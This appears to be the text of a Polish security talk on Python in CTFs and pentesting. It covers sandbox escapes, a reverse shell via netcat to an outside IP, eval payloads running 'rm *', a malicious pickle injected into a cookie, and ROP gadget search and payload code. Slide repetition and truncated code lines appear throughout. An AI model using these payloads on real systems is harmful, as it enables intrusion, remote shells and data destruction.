dir(formula)<br />
[...], 'ArithmeticError': , 'str':<br />
, 'property': , 'GeneratorExit': , '<strong>in</strong>t':<br />
, '__import__':<br />
,<br />
'KeyError': , 'coerce':<br />
, [...]<br />
(6195 bytes)<br />
['__class__', '__cmp__', '__conta<strong>in</strong>s__',<br />
'__delattr__', '__delitem__', '__doc__',<br />
'__eq__', '__format__', '__ge__',<br />
'__getattribute__', '__getitem__', '__gt__',<br />
'__hash__', '__<strong>in</strong>it__', '__iter__', '__le__',<br />
'__len__', '__lt__', '__ne__', '__new__',<br />
'__reduce__', '__reduce_ex__', '__repr__',<br />
'__setattr__', '__setitem__', '__sizeof__',<br />
'__str__', '__subclasshook__', 'clear',<br />
'copy', 'fromkeys', 'get', 'has_key', 'items',<br />
'iteritems', 'iterkeys', 'itervalues', 'keys',<br />
'pop', 'popitem', 'setdefault', 'update',<br />
'values', 'viewitems', 'viewkeys',<br />
'viewvalues']
„Sandbox”<br />
{}.__class__.__base__<br />
.__subclasses__()[59]()._module<br />
.__built<strong>in</strong>s__['__import__']<br />
dir(formula)<br />
<br />
['__call__', '__class__', '__cmp__',<br />
'__delattr__', '__doc__', '__eq__',<br />
'__format__', '__ge__', '__getattribute__',<br />
'__gt__', '__hash__', '__<strong>in</strong>it__', '__le__',<br />
'__lt__', '__module__', '__name__', '__ne__',<br />
'__new__', '__reduce__', '__reduce_ex__',<br />
'__repr__', '__self__', '__setattr__',<br />
'__sizeof__', '__str__', '__subclasshook__']
„Sandbox”<br />
Ender's game...<br />
{}.__class__.__base__<br />
.__subclasses__()[59]()._module<br />
.__built<strong>in</strong>s__['__import__']
„Sandbox”<br />
Ender's game...<br />
{}.__class__.__base__<br />
.__subclasses__()[59]()._module<br />
.__built<strong>in</strong>s__['__import__']<br />
('os')
„Sandbox”<br />
Ender's game...<br />
{}.__class__.__base__<br />
.__subclasses__()[59]()._module<br />
.__built<strong>in</strong>s__['__import__']<br />
('os')<br />
.system
„Sandbox”<br />
Ender's game...<br />
{}.__class__.__base__<br />
.__subclasses__()[59]()._module<br />
.__built<strong>in</strong>s__['__import__']<br />
('os')<br />
.system<br />
('nc.traditional -e<br />
/b<strong>in</strong>/bash<br />
93.184.216.34 31337')
„Sandbox”<br />
Ender's game...<br />
{}.__class__.__base__<br />
.__subclasses__()[59]()._module<br />
.__built<strong>in</strong>s__['__import__']<br />
('os')<br />
.system<br />
('nc.traditional -e<br />
/b<strong>in</strong>/bash<br />
93.184.216.34 31337')
„Sandbox”<br />
Patrz również:<br />
http://gynvael.coldw<strong>in</strong>d.pl/n/python_sandbox_escape
Dygresja
Zasłyszana zabawna historia<br />
Dawno, dawno temu,<br />
za siedmioma górami<br />
był sobie spammer...
Zasłyszana zabawna historia<br />
Quiz!<br />
Jak spammer rozwiązywał captcha?<br />
A. Zaimplementował parser, konwersje z notacji <strong>in</strong>fiksowej na<br />
odwrotną notację polską, a potem użył maszyny stosowej by<br />
wyliczyć wynik<br />
B. Użył eval()
Zasłyszana zabawna historia<br />
Quiz!<br />
Rozwiązanie:<br />
Z jakiegoś powodu CAPTCHA:<br />
1+__import__('os').system('rm *')+1<br />
podobno rozwiązała problem.
Zasłyszana zabawna historia v1.5<br />
LOL<br />
robię sobie program<strong>in</strong>g 300<br />
dostajesz serię wyrażeń i masz powiedzieć czy wynik jest całkowity<br />
i tak sobie już pareset zrobiłem w sumie<br />
i nagle dostaję do sprawdzenia:<br />
__import__('os').popen('rm -ri *').read()<br />
:D<br />
na szczęście miałem regexpa przed evalem który przed tym<br />
zabezpieczał :)
Sandbox<strong>in</strong>g - przykład 2
„Empty Sandbox”<br />
__nightmares__ (PlaidCTF 2014, 375) (q3k!)<br />
Możesz wykonać dowolny kod.
„Empty Sandbox”<br />
__nightmares__ (PlaidCTF 2014, 375) (q3k!)<br />
Możesz wykonać dowolny kod.<br />
Ale w środowisku jest tylko jeden global: stdout<br />
(+ słowa kluczowe)
stdout
stdout<br />
.__class__
stdout<br />
.__class__<br />
stdout<br />
.__class__<br />
<br />
('/proc/self/mem', 'r+')
stdout<br />
.__class__<br />
<br />
('/proc/self/mem', 'r+')<br />
.seek() + .read()
stdout<br />
.__class__<br />
<br />
('/proc/self/mem', 'r+')<br />
.seek() + .read()<br />
read addr of system() <strong>in</strong> .got
stdout<br />
.__class__<br />
<br />
('/proc/self/mem', 'r+')<br />
.seek() + .read()<br />
read addr of system() <strong>in</strong> .got<br />
write it under fopen64() <strong>in</strong> .got
stdout<br />
.__class__<br />
<br />
('/proc/self/mem', 'r+')<br />
.seek() + .read()<br />
read addr of system() <strong>in</strong> .got<br />
write it under fopen64() <strong>in</strong> .got<br />
<br />
('cat *')
Sandox<strong>in</strong>g - podsumowanie<br />
Bezpieczniej użyć nsjaila ;)
Bezpieczeństwo
Good news, ACLe w końcu poprawione! :)<br />
https://bugs.python.org/issue10491<br />
Listopad 2010<br />
DLL hijack<strong>in</strong>g<br />
BUILTIN\Users:(CI)(ID)(special access:)<br />
FILE_APPEND_DATA<br />
BUILTIN\Users:(CI)(ID)(special access:)<br />
FILE_WRITE_DATA
Good news, ACLe w końcu poprawione! :)<br />
https://bugs.python.org/issue10491<br />
Listopad 2010
Good news, ACLe w końcu poprawione! :)<br />
https://bugs.python.org/issue1284316<br />
Wrzesień 2005
Good news, ACLe w końcu poprawione! :)<br />
https://bugs.python.org/issue1284316<br />
Wrzesień 2005<br />
"Lower<strong>in</strong>g the priority; this is<br />
now a documented bug."
Good news, ACLe w końcu poprawione! :)<br />
https://bugs.python.org/issue1284316<br />
Wrzesień 2005<br />
"Lower<strong>in</strong>g the priority; this is<br />
now a documented bug."<br />
Kwiecień 2015<br />
%LocalAppData%\Programs\<strong>Python</strong>\<strong>Python</strong>35<br />
%ProgramFiles%\<strong>Python</strong> 3.5
Good news, ACLe w końcu poprawione! :) (?)<br />
https://bugs.python.org/issue1284316<br />
Wrzesień 2005<br />
"Lower<strong>in</strong>g the priority; this is<br />
now a documented bug."<br />
Kwiecień 2015<br />
%LocalAppData%\Programs\<strong>Python</strong>\<strong>Python</strong>35<br />
%ProgramFiles%\<strong>Python</strong> 3.5<br />
"Um, you know this still affects<br />
<strong>Python</strong> 2.7 right?"
Bezpieczeństwo - Pickle
Pickle - P is for pwned<br />
Cel:<br />
Strona pewnej firmy (pentest)
Pickle - P is for pwned<br />
Rozglądając się do okoła znajdujemy:<br />
Ciasteczka!
Pickle - P is for pwned<br />
state cookie:<br />
cóż to?<br />
SESSION:KGRwMApTJ3VzZXJuYW1lJwpwMQpOc1MnbG9naW5f<br />
dGltZScKcDIKTnNTJ1NJRCcKcDMKUycxY2ZjY2RiMzM4ODQ1<br />
M2Y1NmVjY2EwNzkxMTVjNmQ2MScKcDQKcy4=:PREF:KGRwMA<br />
pTJ3ByZWZfbGFuZycKcDEKUydlbi11cycKcDIKcy4=:SEARC<br />
H:KGRwMApTJ3NlYXJjaF9sYXN0JwpwMQpTIicgb3IgMT0xIC<br />
0tIgpwMgpzLg==:
Pickle - P is for pwned<br />
SESSION:KGRwMApTJ3VzZXJuYW1lJwpwMQpOc1MnbG9naW5f<br />
dGltZScKcDIKTnNTJ1NJRCcKcDMKUycxY2ZjY2RiMzM4ODQ1<br />
M2Y1NmVjY2EwNzkxMTVjNmQ2MScKcDQKcy4=:<br />
>>> sess.decode("base64")<br />
"(dp0\nS'username'\np1\nNsS'log<strong>in</strong>_time'\np2\nNsS<br />
'SID'\np3\nS'1cfccdb3388453f56ecca079115c6d61'\n<br />
p4\ns."
Pickle - P is for pwned<br />
(dp0\nS'username'\np1\nNsS'log<strong>in</strong>_time'\np2\nNsS'<br />
SID'\np3\nS'1cfccdb3388453f56ecca079115c6d61'\np<br />
4\ns.<br />
>>> import pickle<br />
>>> pickle.loads(sess.decode("base64"))<br />
{'username': None, 'SID':<br />
'1cfccdb3388453f56ecca079115c6d61',<br />
'log<strong>in</strong>_time': None}
Pickle - P is for pwned
Pickle - P is for pwned<br />
Deserializacja obiektów - krótki przegląd<br />
*/JSON<br />
Nie obsługuje obiektów.
Pickle - P is for pwned<br />
Deserializacja obiektów - krótki przegląd<br />
PHP/unserialize<br />
"Statyczne" tworzenie obiektów.<br />
Wywołuje __wakeup().<br />
Ostatecznie również __destruct().
Pickle - P is for pwned<br />
Deserializacja obiektów - krótki przegląd<br />
<strong>Python</strong>/pickle<br />
Wywołuje wybrany<br />
konstruktor z wybranego<br />
modułu z wybranymi<br />
argumentami.<br />
np. subprocess.Popen
Pickle - P is for pwned<br />
# https://blog.nelhage.com/2011/03/exploit<strong>in</strong>g-pickle/<br />
class Exploit(object):<br />
def __reduce__(self):<br />
fd = 20 # ←----------------------------------- ???<br />
return (subprocess.Popen,<br />
(('/b<strong>in</strong>/sh',), # args<br />
0, # bufsize<br />
None, # executable<br />
fd, fd, fd # std{<strong>in</strong>,out,err}<br />
))<br />
pr<strong>in</strong>t base64.b64encode(pickle.dumps(Exploit()))<br />
Y3N1YnByb2Nlc3MKUG9wZW4KcDAKKChTJy9iaW4vc2gnCnAxCnRwMgpJMApOSTIw<br />
CkkyMApJMjAKdHAzClJwNAou
Pickle - P is for pwned<br />
fd = 20<br />
std<strong>in</strong> (0)<br />
HTTP<br />
Server<br />
HTTP Connection<br />
20 -> socket:[12345]<br />
stdout (1)<br />
/b<strong>in</strong>/sh<br />
stderr (2)
Pickle - P is for pwned<br />
state - wersja "poprawiona"<br />
SESSION:KGRwMApTJ3VzZXJuYW1lJwpwMQpOc1MnbG9naW5f<br />
dGltZScKcDIKTnNTJ1NJRCcKcDMKUycxY2ZjY2RiMzM4ODQ1<br />
M2Y1NmVjY2EwNzkxMTVjNmQ2MScKcDQKcy4=:PREF:KGRwMA<br />
pTJ3ByZWZfbGFuZycKcDEKUydlbi11cycKcDIKcy4=:SEARC<br />
H:Y3N1YnByb2Nlc3MKUG9wZW4KcDAKKChTJy9iaW4vc2gnCn<br />
AxCnRwMgpJMApOSTIwCkkyMApJMjAKdHAzClJwNAou:
Pickle - P is for pwned<br />
IDDQD
Bezpieczeństwo - Marshal
Marshal - M is for ... noth<strong>in</strong>g?
Skryptowanie w skrócie
GDB skryptowane w <strong>Python</strong>ie<br />
GDB ma cudowne <strong>Python</strong> API!<br />
Pobieranie wartości rejestrów jest naprawdę proste:<br />
import gdb<br />
pr<strong>in</strong>t <strong>in</strong>t(str(gdb.parse_and_eval("(void*)($rax)")).split(" ")[0], 16)
GDB skryptowane w <strong>Python</strong>ie<br />
turututu (OCAML crackme, PHDays Quals CTF 2014)<br />
Str<strong>in</strong>gi są przechowywane w pamięci jako l<strong>in</strong>ked lista<br />
def pr<strong>in</strong>t_list(addr, next_off=8, mod=False):<br />
if addr == 1:<br />
pr<strong>in</strong>t " 0: 1"<br />
pr<strong>in</strong>t " --"<br />
return<br />
i = -1<br />
r = addr<br />
while r != 1:<br />
i += 1<br />
item = ExprAsInt("*(void**)0x%x" % r)<br />
if mod != False:<br />
item = mod(item)<br />
else:<br />
...<br />
...<br />
item = "%x" % item<br />
pr<strong>in</strong>t " %2u: 0x%.16x ---> %s" % (<br />
i, r, item)<br />
# Next.<br />
r = ExprAsInt("*(void**)(0x%x+%u)" %<br />
r, next_off))<br />
pr<strong>in</strong>t " --"<br />
return
GDB skryptowane w <strong>Python</strong>ie<br />
turututu (OCAML crackme, PHDays Quals CTF 2014)<br />
--- walk_through_list_rsi<br />
0: 0x0000000000621da0 ---> H [91 | 1]<br />
1: 0x0000000000621db8 ---> a [c3 | 1]<br />
2: 0x0000000000621dd0 ---> t [e9 | 1]<br />
3: 0x0000000000621de8 ---> r [e5 | 1]<br />
4: 0x0000000000621e00 ---> n [dd | 1]<br />
5: 0x0000000000621e18 ---> D [89 | 1]<br />
6: 0x0000000000621e30 ---> y [f3 | 1]<br />
7: 0x0000000000621e48 ---> r [e5 | 1]<br />
8: 0x0000000000621e60 ---> t [e9 | 1]<br />
--
<strong>Python</strong> i <strong>in</strong>ne debuggery<br />
●<br />
●<br />
Wiele debuggerów jest skryptowalne.<br />
○ Zazwyczaj w <strong>Python</strong>ie :)<br />
Przykłady:<br />
○ <strong>Python</strong> for W<strong>in</strong>dbg<br />
○ ImmunityDbg<br />
○ IDA<br />
○ x64dbg (x64dbgpy)<br />
○ B<strong>in</strong>ary N<strong>in</strong>ja
Moja ulubiona biblioteka
telnetlib<br />
import telnetlib<br />
...<br />
t = telnetlib.Telnet()<br />
t.sock = s<br />
t.<strong>in</strong>teract()
<strong>Python</strong> i ROP
ROP 101<br />
C/C++/ObjC<br />
Stare dobre przepełnienie bufora<br />
stos wątku<br />
...<br />
RETURN<br />
ADDRESS<br />
...<br />
pechowy bufor<br />
(zostanie przepełniony)
ROP 101<br />
C/C++/ObjC<br />
Stare dobre przepełnienie bufora<br />
stos wątku<br />
...<br />
RETURN<br />
ADDRESS<br />
...<br />
pechowy bufor<br />
(zostanie przepełniony)
ROP 101<br />
C/C++/ObjC<br />
Stare dobre przepełnienie bufora<br />
stos wątku<br />
...<br />
SHELLCODE<br />
EVIL<br />
RETURN<br />
RETURN<br />
ADDRESS<br />
ADDRESS<br />
...<br />
...<br />
ret (pop <strong>in</strong>struction po<strong>in</strong>ter)
ROP 101<br />
C/C++/ObjC<br />
Teraz już tak dobrze nie ma - NX/XD/DEP<br />
stos wątku<br />
...<br />
SHELLCODE<br />
EVIL<br />
RETURN<br />
RETURN<br />
ADDRESS<br />
ADDRESS<br />
...<br />
...<br />
ret (pop <strong>in</strong>struction po<strong>in</strong>ter)
ROP 101<br />
Teraz już tak dobrze nie ma - więc robi się ROP<br />
C/C++/ObjC<br />
stos wątku<br />
...<br />
(whatever)<br />
EVIL<br />
RETURN<br />
RETURN<br />
ADDRESS<br />
ADDRESS<br />
VALUE<br />
EVIL<br />
RETURN<br />
ADDRESS<br />
EVIL<br />
RETURN ...<br />
ADDRESS<br />
gadget 1<br />
ret<br />
gadget 2<br />
ret<br />
gadget 3<br />
ret
ROP 101<br />
Teraz już tak dobrze nie ma - więc robi się ROP<br />
kod maszynowy<br />
(biblioteki, b<strong>in</strong>arka)<br />
gadget 1<br />
gadget 2 gadget 3
ROP 101<br />
Teraz już tak dobrze nie ma - więc robi się ROP<br />
0x1f56a<br />
0x1f56f<br />
0x1f576<br />
0x1f577<br />
0x1f578<br />
0x1f579<br />
0x1f57a<br />
sub eax, 0x3a04f1<br />
mov [rip+0x3a04da], rax<br />
pop rax<br />
pop rbx<br />
pop rcx<br />
ret<br />
nop<br />
gadget 1<br />
skok do<br />
gadget 2
ROP - poszukiwanie gadżetów<br />
W <strong>Python</strong>ie, a jak.<br />
import distorm3 # https://code.google.com/p/distorm/downloads/list<br />
# XXX Setup here XXX<br />
TARGET_FILE = "libc.so.6"<br />
FILE_OFFSET_START = 0x1f4a0 # In-file offset of scan start<br />
FILE_OFFSET_END = 0x165F88 # In-file offset of scan start<br />
VA = 0x0 # Note: PC is calculated like this: VA + given FILE_OFFSET<br />
X86_MODE = distorm3.Decode64Bits # just switch the 32 or 64<br />
# XXX End of setup XXX<br />
ulubiony<br />
disassembler<br />
(silnik, w postaci<br />
biblioteki)
ROP - poszukiwanie gadżetów<br />
W <strong>Python</strong>ie, a jak.<br />
def DecodeAsm(pc, d):<br />
disasm = distorm3.Decode(pc, d, X86_MODE)<br />
k = []<br />
l = ""<br />
ist = ""<br />
for d <strong>in</strong> disasm:<br />
addr = d[0]<br />
size = d[1]<br />
<strong>in</strong>st = d[2].lower()<br />
t = "0x%x %s" % (addr,<strong>in</strong>st)<br />
l += t + "\n"<br />
ist += "%s\n" % (<strong>in</strong>st)<br />
k.append((addr,<strong>in</strong>st))<br />
if <strong>in</strong>st.f<strong>in</strong>d('ret') != -1:<br />
break<br />
[<br />
]<br />
"\xB8\x78\x56\x34\x12\xC3"<br />
"0x1234 mov eax, 0x12345678",<br />
"0x1239 ret"<br />
return (l,k,ist)
ROP - poszukiwanie gadżetów<br />
W <strong>Python</strong>ie, a jak.<br />
UNIQ = {}<br />
d = open(TARGET_FILE, "rb").read()<br />
for i <strong>in</strong> xrange(FILE_OFFSET_START,FILE_OFFSET_END):<br />
(cc,kk,ist) = DecodeAsm(VA+i, d[i:i+20])<br />
if cc.f<strong>in</strong>d('ret') == -1:<br />
cont<strong>in</strong>ue<br />
if cc.f<strong>in</strong>d('db ') != -1:<br />
cont<strong>in</strong>ue<br />
if ist <strong>in</strong> UNIQ:<br />
cont<strong>in</strong>ue<br />
UNIQ[ist] = True<br />
pr<strong>in</strong>t "------> offset: 0x%x" % (i + VA)<br />
for k <strong>in</strong> kk:<br />
pr<strong>in</strong>t "0x%x %s" % (k[0],k[1])<br />
if k[1].f<strong>in</strong>d('ret') != -1:<br />
break<br />
pr<strong>in</strong>t ""<br />
------> offset: 0x1f667<br />
0x1f667 pop rbp<br />
0x1f668 pop r12<br />
0x1f66a ret<br />
------> offset: 0x1f668<br />
0x1f668 pop r12<br />
0x1f66a ret<br />
------> offset: 0x1f669<br />
0x1f669 pop rsp<br />
0x1f66a ret<br />
jeśli mamy szczęście, to będzie z
ROP - tworzenie payloadu<br />
<strong>Python</strong>!<br />
# MY Little ROP, Libc Is Magic!<br />
from struct import pack<br />
LIBC=0<br />
def dq(v): # data quad word<br />
return pack("
ROP - tworzenie payloadu<br />
<strong>Python</strong>!<br />
def rop_read(fd, buf, count):<br />
READ = LIBC + 0xEB800<br />
return ''.jo<strong>in</strong>([<br />
set_rdi(fd),<br />
set_rsi(buf),<br />
set_rdx(count),<br />
syscall(0)<br />
])
ROP - tworzenie payloadu<br />
def gimme_gimme(libc):<br />
return ''.jo<strong>in</strong>([<br />
])<br />
<strong>Python</strong>!<br />
# mmap<br />
rop_mmap(ADDR, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC,<br />
MAP_ANONYMOUS | MAP_PRIVATE | MAP_FIXED, -1 & 0xffffffffffffffff, 0),<br />
# read<br />
rop_read(0, ADDR, 0x1000),<br />
# jmp<br />
dq(ADDR),
ROP - tworzenie payloadu<br />
Jak to wygląda jako lista wartości...<br />
--> 48857<br />
--> 0<br />
--> f09c1<br />
--> 0<br />
--> 0<br />
--> 22b1a<br />
--> 700000001000<br />
--> 24805<br />
--> 1000<br />
--> bcee0<br />
--> 7<br />
--> 112ecf<br />
--> 32<br />
--> 127906<br />
--> ffffffffffffffff<br />
--> f49c0<br />
--> 22b1a<br />
--> 0<br />
--> 24805<br />
--> 700000001000<br />
--> bcee0<br />
--> 1000<br />
--> 48857<br />
--> 0<br />
--> 113828<br />
--> 700000001000
ROP - łączenie z exploitem<br />
def add(s, size):<br />
s.send(dd(0) + dq(size))<br />
return struct.unpack('
That's it.
Dziękuje za uwagę!<br />
gynvael@coldw<strong>in</strong>d.pl http://gynvael.coldw<strong>in</strong>d.pl/ twitter: @gynvael